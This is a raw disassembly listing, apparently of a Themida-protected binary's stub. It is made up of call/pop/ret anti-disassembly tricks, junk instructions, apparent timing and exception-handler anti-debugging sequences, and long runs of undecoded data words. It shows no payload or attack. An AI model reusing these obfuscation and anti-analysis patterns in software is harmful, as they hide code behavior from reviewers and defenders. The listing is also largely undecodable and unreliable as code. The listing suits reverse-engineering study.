mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_58EE87 endp
; ---------------------------------------------------------------------------
db 78h
; ---------------------------------------------------------------------------
movsd
clc
inc dword ptr [ebp+6A833F1h]
push 0
push ecx
call sub_58EEAB
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EEAB proc near ; CODE XREF: Themida_:0058EEA3p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_58EEAB endp
; ---------------------------------------------------------------------------
js short loc_58EE4F
xor bh, [ecx+66CE9973h]
adc ebx, 0FF6AEDBAh
push dword ptr [ebp+6A81561h]
push 0
push esi
call sub_58EEDA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58EEDA proc near ; CODE XREF: Themida_:0058EED2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_58EEDA endp
; ---------------------------------------------------------------------------
dw 0B355h
dd 0E6A64452h, 5E80Fh, 1D3B0000h, 29475186h, 0A82F0595h
dd 0DF8B5B06h, 2A7D95FFh, 0F7E906A8h, 56000000h, 0B05B0DB3h
dd 70E6FC00h, 1F958589h, 71E406A8h, 14FD9D8Bh, 613C06A8h
dd 0D8830Fh, 8B660000h, 0C8B60FDEh, 2B919D8Bh, 6BA06A8h
dd 29000000h, 0A810DD95h, 0C1C18B06h, 8B5704E8h, 0A81581BDh
dd 0F7665F06h, 0C82BF9E2h, 29D18BF8h, 0A83435BDh, 0D99D8906h
dd 0E906A817h, 0Ch, 10D1BD89h, 0BD2906A8h, 6A801DDh, 3159858Bh
dd 0FA8B06A8h, 0EFF7E781h, 0C08372B5h, 83F8B307h, 3DB700C0h
dd 830FD03Bh, 33h, 0E8FEB70Fh, 7, 5F91671Dh, 29030769h
dd 0A82F318Dh, 53E95B06h, 0F000000h, 689h, 5BD8900h, 0F06A832h
dd 685h, 61BD8B00h, 8B06A831h, 0A81E4D8Dh, 0C18D8906h
dd 8306A82Eh, 840F01E1h, 26h, 0A5835FB3h, 6A81E4Dh, 6685B7FEh
dd 0C547D781h, 31599589h, 48BF06A8h, 894DA538h, 0A82261BDh
dd 0E906h, 0B58D0000h, 6ABD2A2h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 55C35141h, 39AD6CF0h, 44E8610Bh
dd 8CDB8184h, 6A7A5211h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 11D3560Ah, 0CE801h, 1C610000h
dd 0DBF903AEh, 35D0B911h, 14E90B06h, 3B000000h, 0B59AFEF2h
dd 95FCD08Ah, 56FA2CAFh, 0E029D683h, 5B067BFBh, 1B3195FFh
dd 0BD8B06A8h, 6A82E55h, 79EB9h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 8937BB02h
dd 0E18365D8h, 1D9D0BFCh, 0FC06A82Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0B1C35343h, 0BBF3C53Fh, 36679CE7h
dd 0DF81F97Ah, 7EB4E3C7h, 0B8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 9D033EC9h
dd 6A8003Dh, 34A19D8Bh, 0BA06A8h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 0EEA1C350h, 7663CC5h, 3CBF6636h, 0C233ADC4h, 0D003E8D1h
dd 7504E983h, 21B589F4h, 6A06A826h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F422C356h
dd 0BE9h, 6440BA00h, 63065D60h, 0EE13EBBAh, 880Dh, 7DBD8B00h
dd 8B06A829h, 0A805B995h, 0D5958906h, 6006A81Bh, 1C098D09h
dd 9D8B06A8h, 6A82D09h, 698D8B61h, 6A06A814h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0CAFAC351h, 518E6E26h, 50708E9Fh, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 0C3816658h, 0B70F2684h, 91BD83DAh
dd 6A80Ch, 8B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 0D8532EC3h, 81CA6770h
dd 0F1D376Eh, 0B8FAB7h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 3957C353h
dd 0A5190ABDh, 0B5BD03D1h, 8D06A817h, 0A84FAF8Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
dd 8A597E81h, 6AB616ACh, 0D8BB66EFh, 89E1FFBAh, 0A80C019Dh
dd 0BDBD8306h, 6A80Bh, 427840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 890F24C3h
dd 5, 0D4D791BBh, 0BDBD830Ch, 106A80Bh, 40E840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0A6F3BAC3h, 0D88B662Bh, 0BBDBD83h, 0F0306A8h, 3A986h
dd 919D8B00h, 8106A81Eh, 0F79F0FF3h, 0BD8B600Fh, 6A81A09h
dd 29D98C66h, 0A816F98Dh, 4E18006h, 0D1D985BFh, 0FC90A6Fh
dd 12D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 93693310h, 0FB1F3BBAh, 12E9h, 69F01800h
dd 67B1B3A2h, 0ADFF8335h, 0BD2829Ah, 6032CF40h, 9DBD23FCh
dd 6106A821h, 0BE1858Bh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 2158B3C3h, 0BBBB2796h
dd 33C5CBEFh, 0A81D5D85h, 0FBB70F06h, 50D98B90h, 0B5958990h
dd 6A06A833h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0DF98E090h, 1ADF8156h, 5F6F4756h
dd 0D21D9768h, 66525075h, 0FE216BFh, 6E931h, 6E1C0000h
dd 1D1370E4h, 3481585Ah, 0CD1E6824h, 2DBD8B75h, 0FF06A80Eh
dd 0A8074195h, 5F7BBF06h, 858954CAh, 6ABA227h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h, 98D89F8h
dd 0E906A81Ah, 1E4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0E2C35141h, 9D1F4D19h, 858B6E93h, 6ABA21Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 66C35242h
dd 28DE245Eh, 0C7DA8BF1h, 1800h, 0C9BD8B00h, 8B06A820h
dd 0ABA223B5h, 799D8B06h, 8B06A82Dh, 0A82B7D85h, 6E806h
dd 5A2D0000h, 2BA5FB6Ah, 6606895Fh, 0EE8DE8Bh, 12000000h
dd 0DFE6B63Ah, 378D19A2h, 7A2EA2F2h, 850F31h, 5B000000h
dd 0BE1858Bh, 850106A8h, 6A81C19h, 0E9044689h, 0Ah, 0DFDFF93Fh
dd 7DD447A5h, 505047DEh, 52505152h, 585A310Fh, 50310F5Fh
dd 0F5B5052h, 5A616031h, 89585A58h, 0BD892434h, 6A81B6Dh
dd 0A21FB5FFh, 6A06ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0F4660C3h, 381h, 0FABF0F00h, 0FB93268h
dd 7EBF669Ah, 2404811Ch, 660F4ACDh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0DBC35747h, 2617A52Fh, 0CE891h
dd 0A5D60000h, 82013818h, 99C63DE7h, 0BD0BF1DBh, 6A801A5h
dd 27858D5Bh, 6A06ABA2h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 71F4C355h, 8BF8BF0Fh
dd 0A805899Dh, 8D896006h, 6A80AADh, 14E85061h, 26000000h
dd 0A2EAE259h, 0C6C8CF36h, 408E2FBEh, 0CB113DE8h, 0B779C1B7h
dd 4895F55h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 918D89A0h, 8906A82Bh, 0A82139BDh
dd 4195FF06h, 8106A807h, 642628EFh, 8A0F603Dh, 6, 1A39B58Bh
dd 816606A8h, 61C819C7h, 8DBD0161h, 0C706A827h, 0A80BBD85h
dd 306h, 0BD8B6000h, 6A807B9h, 226D9589h, 836106A8h, 0ABA227BDh
dd 840F0006h, 62h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0D6C35141h, 0F509C053h, 7EE0BBAFh, 52E91367h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 15042444h, 42000000h, 7884C352h, 17E1BD29h, 0FE906A8h
dd 75000000h, 2D35B1B1h, 2366A036h, 1E017CBDh, 3050FB76h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h
dd 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 43CBEDCEh, 0BF6652DDh, 835FFE74h
dd 0A80BBDBDh, 850F0306h, 350h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0FCC35747h, 0BD70EE92h, 0F50BB07Bh
dd 0B4E9EF81h, 0BD8356B8h, 6ABA227h, 19840F00h, 8B000003h
dd 0A8342DBDh, 27B5FF06h, 0B306ABA2h, 0F995FFD2h, 6A06A815h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0B64EC356h, 3193BFD2h, 0B58B189Dh, 6ABA21Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 47C35747h
dd 0E2C11ED2h, 0F3E0B1C2h, 106C7E4h, 6A000100h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 59BEC352h, 50DA8B4Ah, 3489DA8Bh, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0BB6692B3h
dd 0B5FFE06Ch, 6ABA227h, 0CE9h, 25E91B00h, 890E7BFh, 0C168BDF7h
dd 9995FF84h, 6A06A821h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 59E3C350h, 2E0ED305h
dd 686069CEh, 305DBD89h, 858906A8h, 6A8227Dh, 0A21BB58Bh
dd 820F06ABh, 0
; ---------------------------------------------------------------------------
mov eax, [ebp+6A80E41h]
jz loc_58F875
push edi
mov di, bx
pop edi
loc_58F875: ; CODE XREF: Themida_:0058F86Aj
mov [esi+0C4h], eax
push 0
push ecx
call sub_58F886
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F886 proc near ; CODE XREF: Themida_:0058F87Ep
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_58F886 endp
; ---------------------------------------------------------------------------
dw 0BB0Fh
; ---------------------------------------------------------------------------
scasd
scasd
dec edi
cmp eax, 5B9958Bh
test al, 6
mov di, 0BD7h
add edx, 4
push 0
push eax
call sub_58F8B4
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F8B4 proc near ; CODE XREF: Themida_:0058F8ACp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58F8B4 endp
; ---------------------------------------------------------------------------
sbb [edx+239DAF6Ch], ecx
mov bh, ah
mov [eax+20h], edx
push edx
mov bx, 0D24Ch
pop edi
lea eax, [ebp+6ABB7CEh]
push 0
push ecx
call sub_58F8E6
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F8E6 proc near ; CODE XREF: Themida_:0058F8DEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_58F8E6 endp
; ---------------------------------------------------------------------------
push edx
fcomp dword ptr [ecx-64h]
adc [eax+ecx*8+75h], esi
mov di, cx
mov [esi+0B8h], eax
xor ebx, [ebp+6A81D9Dh]
push 0
mov [ebp+6A82CE1h], edi
push dword ptr [ebp+6ABA227h]
mov [ebp+6A80F65h], esi
call dword ptr [ebp+6A81E1Dh]
mov ebx, [ebp+6A815ADh]
push eax
mov [esp], esi
push dword ptr [ebp+6ABA227h]
push 0
push ebp
call sub_58F942
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F942 proc near ; CODE XREF: Themida_:0058F93Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 14h
inc ebp
push ebp
retn
sub_58F942 endp
; ---------------------------------------------------------------------------
popf
sub [ebp+6A81659h], ecx
call dword ptr [ebp+6A82A69h]
and ebx, [ebp+6A80FE1h]
cmp dword ptr [ebp+6A82E3Dh], 0
jz loc_58F9E1
push 0
push eax
call sub_58F97D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58F97D proc near ; CODE XREF: Themida_:0058F975p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_58F97D endp
; ---------------------------------------------------------------------------
db 91h, 0A7h, 0FDh
dd 0DA8B6671h, 5DA7BF66h, 11E850h, 480F0000h, 98A22C77h
dd 284ED31h, 65BF33BEh, 0FE83FDEh, 0A8Eh, 5E900h, 0D44E0000h
dd 5F65A4EAh, 6A243489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0B746C351h
; ---------------------------------------------------------------------------
push edx
loc_58F9E1: ; CODE XREF: Themida_:0058F96Cj
push dword ptr [ebp+6ABA227h]
mov edi, ecx
call dword ptr [ebp+6A83185h]
mov [ebp+6A816C5h], ebx
push dword ptr [ebp+6ABA227h]
mov [ebp+6A80ADDh], esi
call dword ptr [ebp+6A80F55h]
mov bx, 5A3Eh
cmp dword ptr [ebp+6A8077Dh], 2
jz loc_58FA45
mov edi, [ebp+6A8256Dh]
mov eax, [ebp+6A80D19h]
mov di, 0E313h
jmp loc_58FA40
; ---------------------------------------------------------------------------
db 93h
; ---------------------------------------------------------------------------
loc_58FA2E: ; CODE XREF: Themida_:loc_58FA2Ej
jno short loc_58FA2E
lahf
xchg eax, ebp
adc al, 0D2h
popa
icebp
scasb
; ---------------------------------------------------------------------------
dd 8AC03EFEh, 3487B6FDh
; ---------------------------------------------------------------------------
loc_58FA40: ; CODE XREF: Themida_:0058FA28j
mov byte ptr [eax], 0
mov ebx, edi
loc_58FA45: ; CODE XREF: Themida_:0058FA12j
mov dword ptr [ebp+6A80DC1h], 0
push 0
push edx
call sub_58FA5A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FA5A proc near ; CODE XREF: Themida_:0058FA52p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_58FA5A endp
; ---------------------------------------------------------------------------
dw 0BE5Ah
dd 2012AF5Bh, 0F4904350h, 0FFF44EE9h, 7DBD2BFFh, 8B06A80Fh
dd 0FE8C1h, 9E4F0000h, 69AE62CAh, 85FA1500h, 9744C967h
dd 95BD03FCh, 5F06A817h, 3385858Dh, 6A06A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0C1B7CBC3h
dd 0DA160879h, 8A90CAF4h, 40BF90DCh, 5063302Ch, 0CB1FE7BFh
dd 17BB904Eh, 6A620693h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 6AF837h, 62A1858Dh, 6A06ACh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 900E1DC3h, 2668DCE9h, 6C2ABB9Ch, 0C0830CB3h, 7E99005h
dd 22000000h, 9A245ABFh, 535086F3h, 0A9B9BF66h, 6A905Fh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0F3B818C3h, 6AB9943Ch, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 335287B4h
dd 0A806C1BDh, 78DF8006h, 0BB66006Ah, 95FF30C6h, 6A82541h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 13C35141h
dd 8D8D1FA7h, 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 6C35747h, 5DC1B3B2h, 6E9C6BDh, 0A3000000h
dd 3603DDF4h, 6AD1FF2Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 2803C353h, 0CE92ABCh
dd 0F5000000h, 757F4CDh, 933C80D1h, 0F526C7Fh, 386h, 0D88B6600h
dd 339DBD83h, 0F0106A8h, 7D85h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B70F6ADDh
dd 6ADF8BDAh, 3DBD8B02h, 9006A833h, 8E860h, 44900000h
dd 8C6CA16Ch, 5F521A9Ch, 5050615Bh, 52310F52h, 5BD98B66h
dd 5690585Ah, 14959D89h, 0FF5B06A8h, 0A81E1D95h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 7B9010C8h, 33159D8Bh, 0CE906A8h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AC62ABh
push 0
push esi
call sub_58FCCA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FCCA proc near ; CODE XREF: Themida_:0058FCC2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58FCCA endp
; ---------------------------------------------------------------------------
dw 0ED3Dh
dd 8E9B8h, 0D92E0000h, 3A80DFD4h, 6AED3Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 742186C3h
dd 860F5258h, 6, 3019BD8Bh, 8D5F06A8h, 0AB7E2E85h, 8B6CB706h
dd 0A803019Dh, 51509006h, 6212BF66h, 6A905Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 170424h, 52420000h, 9A631C3h
dd 35FF6463h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
push 0
push ebp
call sub_58FD66
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FD66 proc near ; CODE XREF: Themida_:0058FD5Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_58FD66 endp
; ---------------------------------------------------------------------------
dw 1A3Eh
; ---------------------------------------------------------------------------
inc esi
dec ecx
and al, 89h
mov ch, 0F5h
push gs
push es
inc dword ptr [ebp+6A833F1h]
push 0FFFFFFFFh
push 0
push esi
call sub_58FD94
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FD94 proc near ; CODE XREF: Themida_:0058FD8Cp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58FD94 endp
; ---------------------------------------------------------------------------
dd 0FFFB9A9Ch, 0A80E01B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0D7BEBEC7h
dd 860F77EFh, 5, 1BCD51BBh, 7D95FF70h, 0E906A82Ah, 0FEh
dd 9D8B00B0h, 6A814E1h, 71E470E6h, 830F613Ch, 0EAh, 9B19D8Bh
dd 0B60F06A8h, 0D98529C8h, 0BA06A831h, 6, 5DE78166h, 66C18B23h
dd 243DF81h, 8104E8C1h, 0D9690AE3h, 0BB665164h, 665F97DFh
dd 9589E2F7h, 6A8005Dh, 0B589C82Bh, 6A82B91h, 8166D18Bh
dd 0E924CCD3h, 7, 6EB2436Ah, 0E90492A2h, 6, 23BB6653h
dd 858B5FFBh, 6A80149h, 2EED8D89h, 0E38006A8h, 7C0838Bh
dd 29D99589h, 0C08306A8h, 0DABF0F00h, 830FD03Bh, 1Ch, 2DA59D8Bh
dd 5BE906A8h, 0E9000000h, 9, 0E44508DEh, 4CD568C1h, 0F9B70FECh
dd 9418D8Bh, 890F06A8h, 3, 83FB8B66h, 840F01E1h, 32h, 10E9h
dd 30A45700h, 92D50E48h, 8ADEF66Dh, 2620980Bh, 41A58344h
dd 0FE06A809h, 797EE381h, 958949DCh, 6A80149h, 0BF0FC1B7h
dd 0E9DAh, 0B58D0000h, 6ABDCA8h, 14E9h, 8176B400h, 67EEF362h
dd 7663E2A8h, 0B158E376h, 7877B49Eh, 6A006AA1h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 6ED2C357h, 14E95E82h, 0A4000000h, 47B3B858h, 841A64C2h
dd 479BFF41h, 3F91C7BAh, 0FFE95E65h, 0A81B3195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 9D8B4489h, 6A81AADh, 874B9h, 2DBD8B00h, 8306A809h, 6AFCE1h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 51A426C3h, 0BE9h, 7BA58B00h, 0D2A77098h, 380F4C3Eh
dd 0B8F8FCh, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0C91CC350h, 0A99D8B73h
dd 0BA06A81Ah, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58FFDB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58FFDB proc near ; CODE XREF: Themida_:0058FFD3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58FFDB endp
; ---------------------------------------------------------------------------
db 27h
dd 892C2AB2h, 0A820C18Dh, 0C233AD06h, 0D003E8D1h, 7504E983h
dd 56006AF4h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0FE96369h, 69000000h, 0F9E7CE84h, 0BC11F4F7h
dd 6864C8FDh, 0AE830FEh, 3E000000h, 0AFDE55DDh, 0AC8C1C9Fh
dd 0DF8B66B0h, 880D5Bh, 8F0F0000h, 3, 8BDE8B66h, 0A805B995h
dd 8E906h, 30460000h, 0A7FCBABAh, 8D8BF5FEh, 6A81469h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CAC35343h
dd 506B88DBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 759D0958h, 6606A801h, 6A10B6BFh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8912C357h
dd 0A81755BDh, 14E806h, 0D8570000h, 0FD047864h, 5F634140h
dd 26A6044Bh, 39180C72h, 0B5016988h, 6A81DBDh, 91BD835Fh
dd 6A80Ch, 52840Fh, 0F98A0000h, 0B8h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 8D8D104Ch, 6A84FAFh, 5E9h, 0E57ABA00h, 0E1FF5A5Ch, 14E8h
dd 0FAF6E100h, 0C1CAA718h, 0E3548796h, 3A9D84F6h, 0B26D96B7h
dd 5FF88BE8h, 0BBDBD83h, 0F0006A8h, 3F884h, 0DE8B6600h
dd 0BBDBD83h, 0F0106A8h, 40384h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0B3AE4CAFh
dd 0E1C5E5FDh, 0BDBD83F9h, 306A80Bh, 39C860Fh, 9D230000h
dd 6A82259h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 13564A30h, 99D8BABh, 8906A810h, 0A8199185h
dd 0D98C6606h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0AAC35242h, 0C1D43BB9h, 8951FB78h, 0A82B499Dh
dd 0E1805B06h, 0DBB6604h, 0FC90A49h, 0FF84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0BD895C5Ch, 6A82FEDh, 858BFA8Bh, 6A80BE1h, 0F859D2Bh
dd 853306A8h, 6A81D5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 1AC35141h, 49B529FDh, 5006A81Dh, 48993B7h
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 25C2DABh, 0B1E75626h, 6AF98B66h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0AE5A6998h, 0D8B70F51h, 68D8B70Fh, 0E557D728h, 51535250h
dd 310F5B5Fh, 32B96660h, 616160E3h, 481585Ah, 0C72CD724h
dd 0FE9F91Ah, 0B0000000h, 0C1C350A0h, 0E674D74Dh, 1AF641BDh
dd 95FF170Eh, 6A80741h, 0C19D2BF5h, 8906A807h, 0ABA22785h
dd 1EAE906h, 95890000h, 6A80C29h, 0A21F858Bh, 6A06ABh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0A3735BC3h, 0E71FD7EEh, 0C7F98Bh, 18h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ah, 97C35141h, 5B7D6B0Ah
dd 0F9BF8FE4h, 664FDEDFh, 8B3DC7BFh, 0ABA223B5h, 7D858B06h
dd 6A06A82Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 42D3C355h, 8C7AABAAh, 363211B2h
dd 2AE5BD8Bh, 68906A8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 8C35747h, 0C8E4465Fh, 810F5F50h, 6, 399D31h
dd 858B06A8h, 6A80BE1h, 7E9h, 7D100B00h, 0CB72FFA2h, 6A044689h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 12A2C357h, 0B0E8ED5h, 0A820019Dh, 0CE95006h
dd 40000000h, 0B4D8C74Bh, 0C1D73059h, 892AE219h, 8B562434h
dd 0A81461BDh, 0B5FF5F06h, 6ABA21Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 5AC35646h, 0AE7FC503h, 0BF0F07DCh
dd 927368DBh, 9E93E57h, 3000000h, 88A82DFFh, 92654B8Eh
dd 8C243481h, 6A3E4891h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 3137C357h, 8D39F192h
dd 0ABA22785h, 0F9952906h, 9006A807h, 48D0F50h, 66000000h
dd 904028BFh, 14E8h, 0F8601900h, 63621142h, 66E304F6h
dd 201A48BCh, 9EFF1E48h, 0D381663Ah, 0FF5B133Dh, 0A8074195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 4F03844Ch, 0BD8BEF01h, 6A80785h, 0BD85C761h
dd 306A80Bh, 0E9000000h, 8, 45FAD526h, 0CEC1521Eh, 0A227BD83h
dd 0F0006ABh, 2584h, 0EE800h, 15D00000h, 0A90BE10Ah, 0D7CD561Ch
dd 0B5B131F4h, 717D381h, 0E95F0D7Dh, 21h, 2FB9BD8Bh, 305006A8h
dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h
dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h
dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 6A019A62h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 0BEE6C351h, 0B780124Fh
dd 3840Fh, 0E7800000h, 0BD83FCABh, 6A80BBDh, 9C850F03h
dd 66000003h, 83C36FBBh, 0ABA227BDh, 840F0006h, 38Bh, 0E03FF781h
dd 0B5FF6BB4h, 6ABA227h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 85C35747h, 6B829D9Ch, 0BFFA8B35h, 3696A363h
dd 95FFDE8Bh, 6A815F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 67C35343h, 0D98AD4AEh, 8501ECE8h, 6A820D9h
dd 0A21BB58Bh, 9D8906ABh, 6A81771h, 106C7h, 6A0001h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0BE4649C3h, 73687FAFh, 5096C69Eh, 58F0Fh, 0CBBF0000h
dd 965E1019h, 0E8F9B70Fh, 0Dh, 0E0373B52h, 0AC450039h
